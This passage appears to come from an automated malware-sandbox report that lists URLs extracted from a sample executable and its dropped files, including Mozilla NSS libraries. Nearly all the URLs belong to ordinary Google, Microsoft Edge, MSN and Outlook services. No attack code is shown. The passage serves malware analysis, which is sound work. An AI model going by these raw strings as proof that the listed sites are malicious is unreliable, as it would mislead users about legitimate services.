Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2355944655.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590695156.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGH.0.dr, JEHIJDGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 683397ae-f96e-45a1-83bf-01d2135a9e3a.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_465.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_465.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_465.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_465.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_465.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_467.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_467.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 085437f2-5bb6-46c8-be35-84d8f0ec905a.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
